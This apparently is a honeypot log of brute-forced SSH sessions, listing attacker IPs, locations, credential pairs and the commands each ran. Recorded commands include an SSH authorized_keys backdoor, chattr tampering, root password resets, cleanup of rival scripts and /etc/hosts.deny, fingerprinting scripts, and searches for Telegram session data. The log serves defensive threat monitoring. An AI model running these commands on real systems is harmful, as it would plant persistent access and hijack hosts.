/proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—9
๐ŸŽญ weary_k-pop_root (211.221.196.103) โ€” Yongin-si, South Korea ยท 2 sessions ยท 2 cmds
2026-07-09 18:08 EDT ยท as mysql/mysql, pi/pi
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ hollow_gouda_root (45.156.87.147) โ€” Amsterdam, The Netherlands ยท 93 sessions ยท 93 cmds
2026-07-15 22:49 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ spectral_volcano_root_241 (163.7.3.241) โ€” Yogyakarta, Indonesia ยท 1 session ยท 2 cmds
2026-08-17 20:34 EDT ยท as oracle/Oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_gouda_root (77.239.124.250) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-08-02 12:01 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ aloof_star_root_171 (73.147.19.171) โ€” Front Royal, United States ยท 1 session ยท 9 cmds
2026-08-17 12:59 EDT ยท as root/root
root login via root/root โ†’ OS fingerprinting via uname -a โ†’ hardware profiling using ifconfig, /proc/cpuinfo, and ps | grep miner โ†’ reconnaissance of Telegram Desktop data directories and GSM device nodes โ†’ failed payload search for D877F783D5D3EF8Cs โ†’ benign echo output
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ frantic_tulip_root (193.32.162.15) โ€” Amsterdam, The Netherlands ยท 44 sessions ยท 396 cmds
2026-08-02 04:06 EDT ยท as admin/admin123, admin/password, deploy/deploy
export PATH modification โ†’ uname -s -v -n -m system fingerprinting via multiple binary paths โ†’ /proc/version kernel check โ†’ /etc/os-release detection
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—44
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—44
$ /bin/uname -s -v -n -m 2 > /dev/null ร—44
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—44
$ busybox uname -s -v -n -m 2 > /dev/null ร—44
$ ( [ -f /proc/version ] ร—44
$ [ -f /proc/version ] ร—44
$ head -1 /proc/version | cut -d -f1 ร—44
$ [ -f /etc/os-release ] ร—44
๐ŸŽญ obsidian_garuda_root (103.168.135.187) โ€” Jakarta, Indonesia ยท 1 session ยท 19 cmds
2026-08-17 09:47 EDT ยท as root/pass123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv โ†’ cat /proc/cpuinfo | grep name | wc -
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:65dq7pm76O5H"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_dutch_root (91.92.42.227) โ€” Amsterdam, The Netherlands ยท 93 sessions ยท 93 cmds
2026-06-27 11:10 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ frantic_drifter_root (197.248.8.33) โ€” Nairobi, Kenya ยท 1 session ยท 20 cmds
2026-08-17 04:01 EDT ยท as postgres/postgres
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "postgres\nrbOq6tIBH1T8\nrbOq6tIBH1T8"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nrbOq6tIBH1T8\nrbOq6tIBH1T8\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brazen_stein_root (31.76.20.19) โ€” Frankfurt am Main, Germany ยท 21 sessions ยท 21 cmds
2026-07-29 01:02 EDT ยท as admin/admin, root/1234, root/123456
echo (repeated echo 9x)
$ echo SHELL_TEST ร—21
๐ŸŽญ brazen_neon_root (219.78.63.235) โ€” Ho Man Tin, Hong Kong ยท 1 session ยท 9 cmds
2026-08-17 02:26 EDT ยท as root/root
root/root login โ†’ /ip cloud print network topology โ†’ ifconfig interface enumeration โ†’ uname -a OS fingerprinting โ†’ cat /proc/cpuinfo hardware profiling โ†’ ps grep miner process detection โ†’ Telegram data directory reconnaissance โ†’ locate specific hash scan โ†’ echo Hi command execution
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ placid_windmill_root (45.156.87.34) โ€” Amsterdam, The Netherlands ยท 93 sessions ยท 93 cmds
2026-06-30 06:08 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ scrappy_wok_root (47.113.221.50) โ€” Shenzhen, China ยท 2 sessions ยท 2 cmds
2026-07-09 09:30 EDT ยท as deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ silent_matador_root (46.24.47.94) โ€” Madrid, Spain ยท 1 session ยท 2 cmds
2026-08-16 22:49 EDT ยท as oracle/qwe123!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_dimsum_root (103.103.245.61) โ€” Tsuen Wan, Hong Kong ยท 1 session ยท 19 cmds
2026-08-16 22:39 EDT ยท as root/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:1qf2Fd7dbQ8q"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ hollow_dragon_root (111.26.6.111) โ€” Changchun, China ยท 3 sessions ยท 3 cmds
2026-06-25 15:01 EDT ยท as root/123456, root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m ร—3
๐ŸŽญ brazen_burger_crypto (104.248.124.72) โ€” North Bergen, United States ยท 3 sessions ยท 3 cmds
2026-08-16 18:48 EDT ยท as eth/eth
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—3
โ†ณ obfuscated system check
๐ŸŽญ feral_star_sol (159.203.179.48) โ€” North Bergen, United States ยท 7 sessions ยท 7 cmds
2026-08-16 18:33 EDT ยท as bitcoin/bitcoin, deploy/deploy, jito/jito
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—7
โ†ณ obfuscated system check
๐ŸŽญ obsidian_eagle_sol (159.223.159.77) โ€” North Bergen, United States ยท 5 sessions ยท 5 cmds
2026-08-16 19:22 EDT ยท as sol/123, sol/sol, solana/123456
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—5
โ†ณ obfuscated system check
๐ŸŽญ wily_lantern_root_175 (119.119.26.175) โ€” Shenyang, China ยท 1 session ยท 9 cmds
2026-08-16 18:53 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ rusty_eagle_root_49 (92.118.39.49) โ€” Dallas, United States ยท 80 sessions ยท 720 cmds
2026-07-02 11:25 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH normalization โ†’ multi-variant uname system fingerprinting (OS, version, hostname, architecture) โ†’ /proc/version kernel audit โ†’ /etc/os-release distribution detection
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—77
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—80
$ /bin/uname -s -v -n -m 2 > /dev/null ร—80
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—80
$ busybox uname -s -v -n -m 2 > /dev/null ร—80
$ ( [ -f /proc/version ] ร—80
$ [ -f /proc/version ] ร—80
$ head -1 /proc/version | cut -d -f1 ร—80
$ [ -f /etc/os-release ] ร—80
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
๐ŸŽญ restless_tsar_root (85.30.212.24) โ€” Shchyolkovo, Russia ยท 1 session ยท 2 cmds
2026-08-16 08:02 EDT ยท as root/root
ip โ†’ network mapping
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
๐ŸŽญ molten_hanbok_root (221.161.235.168) โ€” Busan, South Korea ยท 1 session ยท 20 cmds
2026-08-16 04:33 EDT ยท as ubuntu/ubuntu
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ echo -e "ubuntu\nwxbX2
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nwxbX2NVnTPqN\nwxbX2NVnTPqN"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nwxbX2NVnTPqN\nwxbX2NVnTPqN\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
